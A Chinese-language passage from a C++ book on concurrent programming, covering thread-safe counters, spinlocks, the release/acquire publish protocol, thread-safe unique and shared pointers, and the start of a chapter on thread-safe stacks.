容器只提供了弱线程安全保证,假设我们有一个强线程安全容器的库。很容易看出这是不够的:添加一个单位需要将其名称插入一个容器,将其初始力量插入另一个容器。这两个操作本身是线程安全的。一个线程创建一个新单位并将其插入第一个容器。在这个线程也能添加其力量值之前,另一个线程看到了新单位并需要查找其力量,但第二个容器中还没有任何内容。问题在于线程安全保证提供在错误的级别:从应用程序的角度来看,创建一个新单位是一个事务,所有游戏引擎线程都应该能够在单位被添加之前或之后看到数据库,而不是在中间状态。我们可以通过使用互斥锁来实现这一点,例如:在单位被添加之前将其锁定,只有在两个容器都被更新后才解锁。然而,在这种情况下,我们并不关心单个容器提供的线程安全保证,只要对这些对象的所有访问都受到互斥锁的保护。显然,我们需要的是一个自身提供所需线程安全保证的单位数据库,例如,通过使用互斥锁。这个数据库可能在内部使用几个容器对象,并且数据库的实现可能需要或不需要来自这些容器的任何线程安全保证,但这对数据库的客户端来说应该是不可见的(使用线程安全的容器可能会使实现更容易,也可能不会)。

这引出了一个非常重要的结论:线程安全从设计阶段开始。程序使用的数据结构和接口必须明智选择,以便它们在线程交互发生的层次上代表适当的抽象级别和正确的事务。

有了这个想法,本章的其余部分应该从两个方面来看:一方面,我们展示如何设计和实现一些基本的线程安全数据结构,这些数据结构可以作为更复杂(并且无限多样)的数据结构的构建模块。另一方面,我们还展示了构建线程安全类的基本技术,这些类可以用于设计这些更复杂的数据结构。

计数器和累加器

最简单的线程安全对象之一是一个普通的计数器或者更一般的形式,一个累加器。计数器简单地计算一些可以在任何线程上发生的事件。所有线程可能需要增加计数器或者访问当前值,因此存在竞争条件的可能性。

为了有价值,我们需要在这里提供强线程安全保证:弱保证是微不足道的;读取一个没有人在改变的值总是线程安全的。我们已经看到了实现的可用选项:某种类型的锁,原子操作(如果有的话),或者无锁 CAS 循环。

锁的性能因实现而异,但一般来说,自旋锁是首选。对于没有立即访问计数器的线程的等待时间将会非常短。因此,付出将线程置于休眠状态并稍后唤醒它的成本是没有意义的。另一方面,因为忙等待(轮询自旋锁)而浪费的 CPU 时间将是微不足道的,很可能只是几条指令。

原子指令提供了良好的性能,但操作的选择相当有限:在 C++中,你可以原子地向整数添加,但不能,例如,将其乘以。这对于基本计数器已经足够了,但对于更一般的累加器可能不够(累加操作不必局限于求和)。然而,如果有一个可用,你就无法击败原子操作的简单性。

CAS 循环可以用于实现任何累加器,无论我们需要使用的操作是什么。然而,在大多数现代硬件上,它并不是最快的选择,并且被自旋锁(见图 6.2)所超越。

自旋锁可以进一步优化,用于访问单个变量或单个对象的情况。我们可以使锁本身成为守护的对象的唯一引用,而不是通用标志。原子变量将是一个指针,而不是整数,但锁定机制保持不变。lock()函数是非标准的,因为它返回指向计数器的指针。

template <typename T>
class PtrSpinlock {
  public:
  explicit PtrSpinlock(T* p) : p_(p) {}
  T* lock() {
    while (!(saved_p_ = 
      p_.exchange(nullptr, std::memory_order_acquire))) {}
  }
  void unlock() { 
    p_.store(saved_p_, std::memory_order_release); 
  }
  private:
  std::atomic<T*> p_;
  T* saved_p_ = nullptr;
};

与早期自旋锁的实现相比,原子变量的含义是“反转的”:如果原子变量p_不为空,则锁可用,否则被占用。我们为自旋锁所做的所有优化在这里同样适用,并且看起来完全一样,因此我们不会重复它们。此外,为了完整,该类需要一组删除的复制操作(锁是不可复制的)。如果希望能够转移锁并将释放锁的责任转移到另一个对象,则它可能是可移动的。如果锁还拥有它指向的对象,析构函数应该删除它(这将自旋锁和唯一指针的功能结合在一个类中)。

指针自旋锁的一个明显优势是,只要它提供了访问受保护对象的唯一方式,就不可能意外地创建竞争条件并在没有锁的情况下访问共享数据。第二个优势是,这个锁往往比常规自旋锁稍微更快。自旋锁是否也优于原子操作取决于硬件。同样的基准测试在不同处理器上产生非常不同的结果:

图 6.3 - 共享计数增量的性能:常规自旋锁、指针自旋锁、无锁(比较和交换,或 CAS)、无等待(原子)对不同硬件系统(a)和(b)的影响

图 6.3 - 共享计数增量的性能:常规自旋锁、指针自旋锁、无锁(比较和交换,或 CAS)、无等待(原子)对不同硬件系统(a)和(b)的影响

一般来说,较新的处理器更好地处理锁和忙等待,而且旋转锁更有可能在最新的硬件上提供更好的性能(在图 6.3中,系统b使用的是 Intel X86 处理器,比系统a的处理器晚一代)。

执行操作所需的平均时间(或其倒数,吞吐量)是我们在大多数 HPC 系统中主要关注的度量标准。然而,这并不是衡量并发程序性能的唯一可能度量标准。例如,如果程序在移动设备上运行,功耗可能更为重要。所有线程使用的总 CPU 时间是平均功耗的一个合理代理。我们用来测量计数器增量的平均实际时间的相同基准测试也可以用来测量 CPU 时间:

图 6.4 - 不同线程安全计数器实现的平均 CPU 使用时间

图 6.4 - 不同线程安全计数器实现的平均 CPU 使用时间

坏消息是,无论实现方式如何,多个线程同时访问共享数据的成本都会随着线程数量的增加呈指数级增长,至少当我们有很多线程时是这样(请注意图 6.4中的y轴刻度是对数刻度)。然而,效率在不同实现之间差异很大,至少对于最有效的实现来说,指数增长实际上直到至少八个线程才会真正开始。请注意,结果将再次因硬件系统而异,因此选择必须考虑目标平台,并且只能在测量完成后进行。

无论选择哪种实现方式,线程安全的累加器或计数器都不应该暴露出来,而是应该封装在一个类中。一个原因是为了为类的客户提供稳定的接口,同时保留优化实现的自由。

第二个原因更微妙,它与计数器提供的确切保证有关。到目前为止,我们已经专注于计数器的值本身,确保它被所有线程修改和访问而没有任何竞争。是否足够取决于我们如何使用计数器。如果我们只是想计算一些事件,而且没有其他东西依赖于计数器的值,那么我们只关心值本身是否正确。另一方面,如果我们要计算的是,比如说,数组中元素的数量,那么我们就涉及到数据依赖性。假设我们有一个大的预分配数组(或者一个可以在不干扰已有元素的情况下增长的容器),所有线程都在计算要插入到这个数组中的新元素。计数器计算已计算并插入数组中的元素的数量,并且可以被其他线程使用。换句话说,如果一个线程从计数器中读取值N,它必须确保数组的前N个元素是安全可读的(这意味着没有其他线程再修改它们)。但是数组本身既不是原子的,也没有受到锁的保护。当然,我们可以通过锁来保护对整个数组的访问,但这可能会降低程序的性能:如果数组中已经有很多元素,但只有一个线程可以读取它们,那么程序可能就像单线程一样。另一方面,我们知道任何常量、不可变的数据都可以在多个线程中安全地读取,而不需要任何锁。我们只需要知道不可变数据和可变数据之间的边界在哪里,这正是计数器应该提供的。这里的关键问题是内存可见性:我们需要保证数组的前N个元素的任何更改在计数器的值从N-1变为N之前对所有线程都是可见的。

我们在上一章中研究了内存可见性,当时它可能看起来是一个主要是理论性的问题,但现在不是了。从上一章我们知道,我们控制可见性的方式是通过限制内存顺序或使用内存屏障(谈论同一件事的两种不同方式)。多线程程序中计数和索引之间的关键区别在于索引提供了额外的保证:如果将索引从N-1增加到N的线程在增加索引之前已经完成了数组元素N的初始化,那么读取索引并得到值N(或更大)的任何其他线程都保证能够在数组中看到至少N个完全初始化和安全可读的元素(当然假设没有其他线程写入这些元素)。这是一个非平凡的保证,不要轻易忽视它:多个线程在访问内存中的同一位置(数组元素N而没有任何锁,并且其中一个线程写入这个位置,然而,访问是安全的,没有数据竞争。如果我们不能使用共享索引来安排这个保证,我们将不得不锁定对数组的所有访问,只有一个线程能够每次读取它。相反,我们可以使用这个原子索引类:

class AtomicIndex {
  std::atomic<unsigned long> c_;
  public:
  unsigned long incr() noexcept {
    return 1 + c_.fetch_add(1, std::memory_order_release); 
  }
  unsigned long get() const noexcept { 
    return c_.load(std::memory_order_acquire);
  }
};

计数和索引之间唯一的区别在于内存可见性的保证;计数没有提供:

class AtomicCount {
  std::atomic<unsigned long> c_;
  public:
  unsigned long incr() noexcept {
    return 1 + c_.fetch_add(1, std::memory_order_relaxed); 
  }
  unsigned long get() const noexcept { 
    return c_.load(std::memory_order_relaxed);
  }
};

当然,每个类的线程安全性和内存可见性保证都应该有文档记录。两者之间是否存在性能差异取决于硬件。在 X86 CPU 上,没有差异,因为原子递增和原子读取的硬件指令具有“类似索引”的内存屏障,无论我们是否请求。在 ARM CPU 上,放松(或无屏障)内存操作明显更快。但是,无论性能如何,清晰和意图都很重要,不应被忘记:如果程序员使用明确提供内存顺序保证的索引类,但没有使用它进行任何索引,每个读者都会想知道发生了什么,代码中的这些保证被使用在了哪个微妙而隐藏的地方。通过使用具有正确一组文档保证的接口,您向读者表明编写此代码时的意图。

现在让我们回到本节可能是主要的“隐藏”成就。我们学习了关于线程安全计数器,但在这个过程中,我们提出了一个似乎违反了编写多线程代码的第一规则的算法:任何时候两个或更多线程访问同一内存位置,并且至少有一个线程在写入,所有访问都必须被锁定(或原子化)。我们没有锁定共享数组,我们允许其元素中的任意数据(所以它可能不是原子的),但我们却得以逃脱!我们用来避免数据竞争的方法,事实证明是几乎每个专为并发设计的数据结构的基石,我们现在将花时间更好地理解和概括它。

发布协议

我们试图解决的一般问题在数据结构设计中非常常见,通过扩展,也是并发程序的开发:一个线程正在创建新数据,而程序的其余部分必须在数据准备好时能够看到这些数据,但在此之前不能看到。前一个线程通常被称为写入线程或生产者线程。所有其他线程都是读取或消费者线程。

最明显的解决方案是使用锁,并严格遵循避免数据竞争的规则。如果多个线程(检查)必须访问同一内存位置(检查),并且至少有一个线程在该位置写入(在我们的情况下确切地是一个线程 - 检查),那么所有线程在访问该内存位置之前都必须获取锁,无论是读取还是写入。这种解决方案的缺点是性能:在生产者完成并且不再有写入发生之后,所有消费者线程仍然互相阻止并发地读取数据。现在,只读访问根本不需要任何锁定,但问题是,我们需要在程序中有一个保证的点,使得所有写入在此点之前发生,所有读取在此点之后发生。然后我们可以说所有消费者线程在只读环境中操作,不需要任何锁定。挑战在于保证读取和写入之间的边界:请记住,除非我们进行某种同步,否则内存可见性是不被保证的:仅仅因为写入者已经完成了对内存的修改,并不意味着读取者看到了该内存的最终状态。锁包括适当的内存屏障,正如我们之前所见;它们界定了临界区,并确保在临界区之后执行的任何操作都会看到在临界区之前或期间发生的所有对内存的更改。但现在我们希望在没有锁定的情况下获得相同的保证。

这个无锁解决方案依赖于生产者和消费者线程之间传递信息的一个非常具体的协议:

  • 生产者线程在其他线程无法访问的内存中准备数据。这可能是生产者线程分配的内存,也可能是预先分配的内存,但重要的是生产者是唯一拥有对这个内存的有效引用的线程,并且这个有效引用不与其他线程共享(其他线程可能有访问这个内存的方法,但这将是程序中的一个错误,类似于超出数组边界索引)。由于只有一个线程访问新数据,因此不需要同步。就其他线程而言,这些数据根本不存在。

  • 所有消费者线程必须使用一个共享指针来访问数据,我们称之为根指针,这个指针最初为空。在生产者线程构造数据时,它保持为空。同样,从消费者线程的角度来看,这个时候没有数据。更一般地说,这个“指针”不需要是实际的指针:只要它能够访问内存位置并且可以设置为预定的无效值,任何类型的句柄或引用都可以使用。例如,如果所有新对象都是在预先分配的数组中创建的,那么“指针”实际上可以是数组的索引,无效值可以是大于或等于数组大小的任何值。

  • 协议的关键在于消费者访问数据的唯一方式是通过根指针,而且在生产者准备揭示或发布数据之前,这个指针始终为空。发布数据的行为非常简单:生产者必须原子地将数据的正确内存位置存储在根指针中,并且这个变化必须伴随着释放内存屏障。

  • 消费者线程可以随时原子地查询根指针。如果查询返回空值,那么就没有数据(就消费者而言),消费者线程应该等待,或者最好做一些其他工作。如果查询返回非空值,那么数据已准备好,生产者将不再更改它。查询必须使用获取内存屏障进行,这与生产者端的释放屏障结合使用,可以保证当观察到指针值的变化时,新数据是可见的。

这个过程有时被称为发布协议,因为它允许生产者线程发布信息供其他线程消费,以一种保证没有数据竞争的方式。正如我们所说,发布协议可以使用任何允许访问内存的句柄来实现,只要这个句柄可以被原子地改变。指针是最常见的句柄,当然,其次是数组索引。

被发布的数据可以是简单的或复杂的;这并不重要。它甚至不必是单个对象或单个内存位置:根指针指向的对象本身可以包含指向更多数据的指针。发布协议的关键要素如下:

  • 所有消费者通过一个根指针访问特定的数据集。获得访问数据的唯一方法是读取根指针的非空值。

  • 生产者可以以任何方式准备数据,但根指针始终为空:生产者有自己的对数据的引用,这是本地线程的。

  • 当生产者想要发布数据时,它会原子地使用释放屏障将根指针设置为正确的地址。数据发布后,生产者不能再更改它(其他人也不能)。

  • 消费者线程必须原子地并且使用获取屏障读取根指针。如果他们读取到非空值,他们可以读取通过根指针访问的数据。

用于实现发布协议的原子读写当然不应该散布在整个代码中。我们应该实现一个发布指针类来封装这个功能。在下一节中,我们将看到这样一个类的简单版本。

用于并发编程的智能指针

并发(线程安全)数据结构的挑战在于如何以一种保持特定线程安全保证的方式添加、删除和更改数据。发布协议为我们提供了一种向所有线程发布新数据的方法,通常是向任何此类数据结构添加新数据的第一步。因此,毫无疑问,我们将学习的第一个类是封装了这个协议的指针。

发布指针

这是一个基本的发布指针,还包括唯一或拥有指针的功能(所以我们可以称之为线程安全的唯一指针):

template <typename T>
class ts_unique_ptr {
  public:
  ts_unique_ptr() = default;
  explicit ts_unique_ptr(T* p) : p_(p) {}
  ts_unique_ptr(const ts_unique_ptr&) = delete;
  ts_unique_ptr& operator=(const ts_unique_ptr&) = delete;
  ~ts_unique_ptr() {
    delete p_.load(std::memory_order_relaxed);
  }
  void publish(T* p) noexcept {
    p_.store(p, std::memory_order_release);
  }
  const T* get() const noexcept {
    return p_.load(std::memory_order_acquire);
  }
  const T& operator*() const noexcept { return *this->get(); }
  ts_unique_ptr& operator=(T* p) noexcept {
    this->publish(p); return *this;
  }
  private:
  std::atomic<T*> p_ { nullptr };
};

当然,这是一个非常简单的设计;一个完整的实现应该支持自定义删除器、移动构造函数和赋值运算符,以及可能还有一些类似于std::unique_ptr的其他功能。顺便说一句,标准并不保证访问存储在std::unique_ptr对象中的指针值是原子的,或者使用了必要的内存屏障,因此标准唯一指针不能用于实现发布协议。

现在,读者应该清楚我们的线程安全唯一指针提供了什么:关键函数是publish()get(),它们实现了发布协议。请注意,publish()方法不会删除旧数据;假定生产者线程只调用一次publish(),而且只在空指针上调用。我们可以为此添加一个断言,在调试构建中这样做可能是个好主意,但我们也关心性能。说到性能,基准测试显示,我们的发布指针的单线程解引用所花费的时间与原始指针或std::unique_ptr的时间相同。基准测试并不复杂:

struct A { … arbitrary object for testing … };
ts_unique_ptr<A> p(new A(…));
void BM_ptr_deref(benchmark::State& state) {
  A x;
  for (auto _ : state) {
    benchmark::DoNotOptimize(x = *p);
  }
  state.SetItemsProcessed(state.iterations());
}
BENCHMARK(BM_ptr_deref)->Threads(1)->UseRealTime();
… repeat for desired number of threads … 
BENCHMARK_MAIN();

运行这个基准测试可以让我们了解我们的无锁发布指针的解引用速度有多快:

图 6.5 - 发布指针的性能(消费者线程)

图 6.5 - 发布指针的性能(消费者线程)

应该将结果与解引用原始指针进行比较,我们也可以在多个线程上执行此操作:

图 6.6 - 原始指针的性能,用于与图 6.5 进行比较

图 6.6 - 原始指针的性能,用于与图 6.5 进行比较

性能数字非常接近。我们也可以比较发布的速度,但通常来说,消费者端更重要:每个对象只发布一次,但会被访问多次。

同样重要的是要理解发布指针不做的事情。首先,在指针的构造中没有线程安全性。我们假设生产者和消费者线程共享对已构造的指针的访问权,该指针初始化为 null。谁构造并初始化了指针?通常,在任何数据结构中,都有一个根指针,通过它可以访问整个数据结构;它是由构造初始数据结构的任何线程初始化的。然后有一些指针,它们作为某个数据元素的根,并且它们本身包含在另一个数据元素中。现在,想象一个简单的单链表,其中每个列表元素的“下一个”指针是下一个元素的根,列表的头是整个列表的根。生产列表元素的线程必须在其他事情之间将“下一个”指针初始化为 null。然后,另一个生产者可以添加一个新元素并发布它。请注意,这与一般规则不同,即一旦发布的数据就是不可变的。然而,这是可以的,因为对线程安全的唯一指针的所有更改都是原子的。无论如何,关键是在构造指针时没有线程可以访问它(这是一个非常常见的限制,大多数构造都不是线程安全的,甚至它们的线程安全性的问题都是不合适的,因为对象直到构造出来才存在,所以不能给出任何保证)。

我们的指针接下来没有做的事情是:它不为多个生产者线程提供任何同步。如果两个线程尝试通过相同的指针发布它们的新数据元素,结果是未定义的,并且存在数据竞争(一些消费者线程将看到一组数据,而其他线程将看到不同的数据)。如果有多个生产者线程在特定数据结构上操作,它们必须使用另一种同步机制。

最后,虽然我们的指针实现了线程安全的发布协议,但它并没有安全地“取消发布”和删除数据。它是一个拥有指针,所以当它被删除时,它指向的数据也会被删除。然而,任何消费者线程都可以使用它之前获取的值来访问数据,即使指针已被删除。数据所有权和生命周期的问题必须以其他方式处理。理想情况下,我们的程序中会有一个点,整个数据结构或其中的一部分被认为不再需要;没有消费者线程应该尝试访问这些数据,甚至保留任何指向它的指针。在那时,根指针和通过它可访问的任何内容都可以安全地删除。安排执行中的这种点是完全不同的事情;通常由整体算法控制。

有时我们需要一个指针以线程安全的方式管理数据的创建和删除。在这种情况下,我们需要一个线程安全的共享指针。

原子共享指针

如果我们不能保证程序中有一个已知的点可以安全地删除数据,我们必须跟踪有多少消费者线程持有数据的有效指针。如果我们想删除这些数据,我们必须等到整个程序中只有一个指向它的指针;然后,才能安全地删除数据和指针本身(或者至少将其重置为 null)。这是共享指针的典型工作:它对同一对象的指针在程序中还有多少进行引用计数;数据由最后一个这样的指针删除。

谈论线程安全的共享指针时,准确理解指针需要什么保证是非常重要的。C++标准共享指针std::shared_ptr经常被称为线程安全。具体来说,它提供了以下保证:如果多个线程操作指向同一对象的不同共享指针,那么即使两个线程同时导致计数器发生变化,对引用计数器的操作也是线程安全的。例如,如果一个线程正在复制其共享指针,而另一个线程正在删除其共享指针,并且在这些操作开始之前引用计数为N,那么计数器将增加到N+1,然后返回到N(或者先减少,然后增加,取决于实际的执行顺序),最终将具有相同的值N。中间值可以是N+1N-1,但没有数据竞争,行为是明确定义的,包括最终状态。这一保证意味着对引用计数器的操作是原子的;实际上,引用计数器是一个原子整数,并且实现使用fetch_add()来原子地增加或减少它。

只要没有两个线程共享对同一个共享指针的访问,此保证就适用。如何为每个线程获取其自己的共享指针是一个单独的问题:因为指向同一对象的所有共享指针必须从第一个这样的指针开始创建,这些指针必须曾经在某个时间点从一个线程传递到另一个线程。为简单起见,让我们假设一下,做共享指针的复制的代码受到互斥锁的保护。如果两个线程访问同一个共享指针,那么一切都不确定。例如,如果一个线程正在尝试复制共享指针,而另一个线程同时正在重置它,结果是未定义的。特别是,标准共享指针不能用于实现发布协议。然而,一旦共享指针的副本已经分发给所有线程(可能在锁定状态下),共享所有权就得到了维护,并且对象的删除是以线程安全的方式处理的。一旦指向对象的最后一个共享指针被删除,对象就会被删除。请注意,由于我们同意每个特定的共享指针永远不会被多个线程处理,这是完全安全的。如果在程序执行过程中,当只有一个共享指针拥有我们的对象时,那么也只有一个线程可以访问这个对象。其他线程无法复制这个指针(我们不让两个线程共享同一个指针对象),也没有其他方法获得指向同一对象的指针,因此删除将有效地以单线程方式进行。

这一切都很好,但如果我们不能保证两个线程不会尝试访问同一个共享指针怎么办?这种访问的第一个例子是我们的发布协议:消费者线程正在读取指针的值,而生产者线程可能正在更改它。我们需要共享指针本身的操作是原子的。在 C++20 中,我们可以做到这一点:它让我们编写std::atomic<std::shared_ptr<T>>。请注意,早期的提案中提到了一个新类std::atomic_shared_ptr<T>。最终,这不是选择的路径。

如果您没有符合 C++20 标准的编译器和相应的标准库,或者无法在您的代码中使用 C++20,您仍然可以在std::shared_ptr上执行原子操作,但必须明确这样做。为了使用在所有线程之间共享的指针p_发布对象,生产者线程必须这样做:

std::shared_ptr<T> p_;
T* data = new T;
… finish initializing the data …
std::atomic_store_explicit(
    &p_, std::shared_ptr<T>(data), std::memory_order_release);

另一方面,为了获取指针,消费者线程必须这样做:

std::shared_ptr<T> p_;
const T* data = std::atomic_load_explicit(
    &p_, std::memory_order_acquire).get();

与 C++20 原子共享指针相比,这种方法的主要缺点是没有保护意外的非原子访问。程序员必须记住始终使用原子函数来操作共享指针。

值得注意的是,虽然方便,std::shared_ptr并不是特别高效的指针,而原子访问使其变得更慢。我们可以比较使用上一节中的线程安全发布指针与显式原子访问的共享指针发布对象的速度:

图 6.7 - 原子共享发布指针的性能(消费者线程)

图 6.7 - 原子共享发布指针的性能(消费者线程)

同样,这些数字应该与图 6.5中的数字进行比较:在一个线程上,发布指针比共享指针快 60 倍,随着线程数量的增加,优势也会增加。当然,共享指针的整个目的是提供共享资源所有权,因此自然需要更多时间来完成更多的工作。比较的重点是显示这种共享所有权的成本:如果可以避免,程序将更加高效。

即使需要共享所有权(有一些并发数据结构确实很难在没有共享所有权的情况下设计),通常情况下,如果设计自己的具有有限功能和最佳实现的引用计数指针,通常可以做得更好。一种非常常见的方法是使用侵入式引用计数。侵入式共享指针将其引用计数存储在其指向的对象中。当为特定对象设计时,例如我们特定数据结构中的列表节点,对象是以共享所有权为目的设计的,并包含一个引用计数器。否则,我们可以为几乎任何类型使用包装类,并用引用计数器增强它:

template <typename T> struct Wrapper {
  T object;
  Wrapper(… arguments …) : object(…) {}
  ~Wrapper() = default;
  Wrapper (const Wrapper&) = delete;
  Wrapper& operator=(const Wrapper&) = delete;
  std::atomic<size_t> ref_cnt_ = 0;
  void AddRef() {
    ref_cnt_.fetch_add(1, std::memory_order_acq_rel);
  }
  bool DelRef() { return
    ref_cnt_.fetch_sub(1, std::memory_order_acq_rel) == 1;
  }
};

在减少引用计数时,重要的是要知道何时达到 0(或在减少之前为 1):共享指针必须删除对象。

即使是最简单的原子共享指针的实现也相当冗长;本章的示例代码中可以找到一个非常基本的示例。再次强调,该示例仅包含使指针能够正确执行发布对象和多个线程同时访问同一指针等多项任务所必需的最低限度。该示例的目的是使实现这种指针的基本要素更容易理解(即使如此,代码也有几页长)。

除了使用侵入式引用计数外,特定于应用程序的共享指针可以放弃std::shared_ptr的其他功能。例如,许多应用程序不需要弱指针,但即使从未使用过,支持它也会带来开销。一个最简化的引用计数指针可以比标准指针高出几倍效率:

图 6.8 - 自定义原子共享发布指针的性能(消费者线程)

图 6.8 - 自定义原子共享发布指针的性能(消费者线程)

对于指针的赋值和重新赋值、两个指针的原子交换以及指针的其他原子操作,这样做同样更有效。即使这种共享指针仍然比唯一指针效率低得多,所以如果可以明确管理数据所有权而不使用引用计数,那么请这样做。

现在我们几乎可以构建任何数据结构的两个关键构件:我们可以添加新数据并发布它(向其他线程公开),甚至可以跨线程跟踪所有权(尽管这是有代价的)。

总结

在本章中,我们已经了解了任何并发程序的基本构建块的性能。所有对共享数据的访问都必须受到保护或同步,但在实现这种同步时有很多选择。虽然互斥锁是最常用和最简单的选择,但我们还学习了其他几种性能更好的选择:自旋锁及其变体,以及无锁同步。

高效并发程序的关键是尽可能将数据局部化到一个线程,并最小化对共享数据的操作。每个问题特定的要求通常决定了这些操作不能完全被消除,因此本章重点是使并发数据访问更加高效。

我们学习了如何在多个线程之间计数或累积结果,有锁和无锁的情况下。了解数据依赖性问题使我们发现了发布协议及其在几种线程安全的智能指针中的实现,适用于不同的应用程序。

我们现在已经准备好将我们的研究提升到下一个水平,并将其中几个构建块组合成更复杂的线程安全数据结构。在下一章中,您将学习如何使用这些技术来设计并发程序的实用数据结构。

问题

  1. 锁定型、无锁型和无等待型程序的定义特性是什么?

  2. 如果算法是无等待的,这是否意味着它将完美扩展?

  3. 锁定的缺点是什么,促使我们寻找替代方案?

  4. 共享计数器和数组或其他容器中的共享索引之间有什么区别?

  5. 发布协议的主要优势是什么?

第七章:并发数据结构

在上一章中,我们详细探讨了可以用来确保并发程序正确性的同步原语。我们还研究了这些程序的最简单但有用的构建块:线程安全计数器指针

在本章中,我们将继续研究并发程序的数据结构。本章的目的是双重的:一方面,你将学习如何设计几种基本数据结构的线程安全变体。另一方面,我们将指出一些对于设计自己的数据结构用于并发程序以及评估组织和存储数据的最佳方法的一般原则和观察是重要的。

在本章中,我们将涵盖以下主要主题:

  • 理解线程安全的数据结构,包括顺序容器、栈和队列、基于节点的容器和列表

  • 改进并发性能和顺序保证

  • 设计线程安全数据结构的建议

技术要求

同样,你将需要一个 C++编译器和一个微基准测试工具,比如我们在上一章中使用的 Google 基准库(在github.com/google/benchmark找到)。本章的代码可以在github.com/PacktPublishing/The-Art-of-Writing-Efficient-Programs/tree/master/Chapter07找到。

什么是线程安全的数据结构?

在我们开始学习线程安全数据结构之前,我们必须知道它们是什么。如果这似乎是一个简单的问题 – 可以同时被多个线程使用的数据结构 – 你还没有认真思考这个问题。我无法过分强调每次开始设计新的数据结构或用于并发程序中的算法时都要问这个问题有多么重要。如果这句话让你警惕并让你停下来,那是有充分理由的:我刚刚暗示线程安全数据结构没有适合每个需求和每个应用的单一定义。这确实是这样,也是一个非常重要的观点。

线程安全的最佳类型

让我们从一个显而易见但在实践中经常被忘记的事情开始:高性能设计的一个非常普遍的原则是不做任何工作总是比做一些工作更快。对于这个主题,这个一般原则可以缩小到你是否需要任何形式的线程安全来处理这个数据结构?确保线程安全,无论采取什么形式,都意味着计算机需要做一定量的工作。问问自己,我真的需要吗?我能安排计算,让每个线程都有自己的数据集来操作吗?

一个简单的例子是我们在上一章中使用的线程安全计数器。如果需要所有线程始终看到计数器的当前值,那么这就是正确的解决方案。然而,假设我们只需要计算在多个线程中发生的某个事件,比如在被线程之间分割的大量数据集中搜索某些内容。一个线程不需要知道计数的当前值来进行搜索。当然,它需要知道计数的最新值来递增它,但只有在我们尝试在所有线程上递增单个共享计数时才是如此:

std::atomic<unsigned long> count;
  …
for ( … counting loop … ) { // On each thread
  … search … 
  if (… found …)
    count.fetch_add(1, std::memory_order_relaxed));
}

计数本身的性能是令人沮丧的,如在一个基准测试中可以看到,我们除了计数什么也不做(没有搜索):

图 7.1 – 如果计数是共享的,则多个线程计数不会扩展

图 7.1 – 如果计数是共享的,则多个线程计数不会扩展

计数的扩展实际上是负的:在两个线程上达到相同的计数值所需的时间比在一个线程上更长,尽管我们尽最大努力使用具有最小内存顺序要求的无等待计数。当然,如果搜索时间相对于计数时间非常长,那么计数的性能就不重要了(但搜索代码本身可能会出现相同的选择,即在全局数据或每个线程副本上进行一些工作,因此请将其视为一个有益的例子)。

假设我们只关心计算结束时的计数值,一个更好的解决方案当然是在每个线程上维护本地计数,并且只增加共享计数一次:

unsigned long count;
std::mutex M; // Guards count
  …
// On each thread
unsigned long local_count = 0;
for ( … counting loop … ) {
  … search … 
  if (… found …) ++local_count;
}
std::lock_guard<std::mutex> L(M);
count += local_count;

为了突出共享计数增量现在有多不重要,我们将使用基本的互斥锁;通常,锁是一个更安全的选择,因为它更容易理解(因此更难出错),尽管在计数的情况下,原子整数实际上会产生更简单的代码。

如果每个线程在到达结尾之前多次增加本地计数,然后必须增加共享计数,那么扩展几乎是完美的:

图 7.2 - 多线程计数与每个线程计数完美扩展

图 7.2 - 多线程计数与每个线程计数完美扩展

因此,最好的线程安全是由于您不从多个线程访问数据结构而得到的保证。通常,这种安排会带来一些开销:例如,每个线程都会维护一个容器或内存分配器,其大小会反复增长和缩小。如果直到程序结束才释放内存给主分配器,您可以完全避免任何锁定。代价是一个线程上未使用的内存不会提供给其他线程,因此总内存使用量将是所有线程的峰值使用量的总和,即使这些峰值使用发生在不同的时间。是否可以接受这一点取决于问题和实现的细节:这是您必须考虑的每个程序。

当涉及到线程安全时,您可以说整个本节都是一种逃避。从某种角度来看,确实如此,但在实践中经常发生的情况是,在不必要的情况下使用共享数据结构,而性能收益可能如此显著,以至于需要强调这一点。现在是时候转向真正的线程安全,其中数据结构必须在多个线程之间共享。

真正的线程安全

假设我们确实需要同时从多个线程访问特定数据结构。现在我们必须讨论线程安全。但仍然没有足够的信息来确定这个线程安全意味着什么。我们已经在上一章中讨论了强和弱线程安全保证。我们将在本章中看到,即使这种划分还不够,但它让我们走上了正确的道路:我们应该描述数据结构提供的一组保证,以便进行并发访问。

正如我们所见,弱(但通常易于提供)保证是多个线程可以读取相同的数据结构,只要它保持不变。最强的保证显然是任何操作都可以由任意数量的线程在任何时间完成,并且数据结构保持在良好定义的状态。这种保证通常既昂贵又不必要。您的程序可能需要从数据结构支持的某些操作中获得这样的保证,但不需要从所有操作中获得。可能还有其他简化,例如同时访问数据结构的线程数量可能是有限的。

通常情况下,您希望提供尽可能少的保证,以使程序正确,而不是更多:即使不使用,额外的线程安全功能通常也会非常昂贵并产生开销。

考虑到这一点,让我们开始探索具体的数据结构,看看提供不同级别的线程安全保证需要做些什么。

线程安全的堆栈

从并发性的角度来看,最简单的数据结构之一是堆栈。堆栈上的所有操作都涉及顶部元素,因此(至少在概念上)需要针对竞争进行保护的单个位置。

C++标准库为我们提供了std::stack容器,因此它是一个很好的起点。所有 C++容器,包括堆栈,都提供了弱线程安全保证:只读容器可以被多个线程安全地访问。换句话说,只要没有线程调用任何非const方法,任意数量的线程可以同时调用任何const方法。虽然这听起来很容易,几乎是简单的,但这里有一个微妙的地方:在对象的最后修改和被认为是只读的程序部分之间必须有某种同步事件和内存屏障。换句话说,写访问实际上并没有完成,直到所有线程执行内存屏障:写入者必须至少执行一个释放,而所有读取者必须获取。任何更强的屏障也可以工作,锁也可以,但每个线程都必须采取这一步。

接口设计的线程安全性

现在,如果至少有一个线程正在修改堆栈,我们需要更强的保证怎么办?提供一个最直接的方法是用互斥锁保护类的每个成员函数。这可以在应用程序级别完成,但这样的实现并不强制执行线程安全,因此容易出错。它也很难调试和分析,因为锁与容器没有关联。

更好的选择是用我们自己的类来包装堆栈类,就像这样:

template <typename T> class mt_stack {
  std::stack<T> s_;
  std::mutex l_;
  public:
  mt_stack() = default;
  void push(const T& v) {
    std::lock_guard g(l_);
    s_.push(v);
  }
  …
};

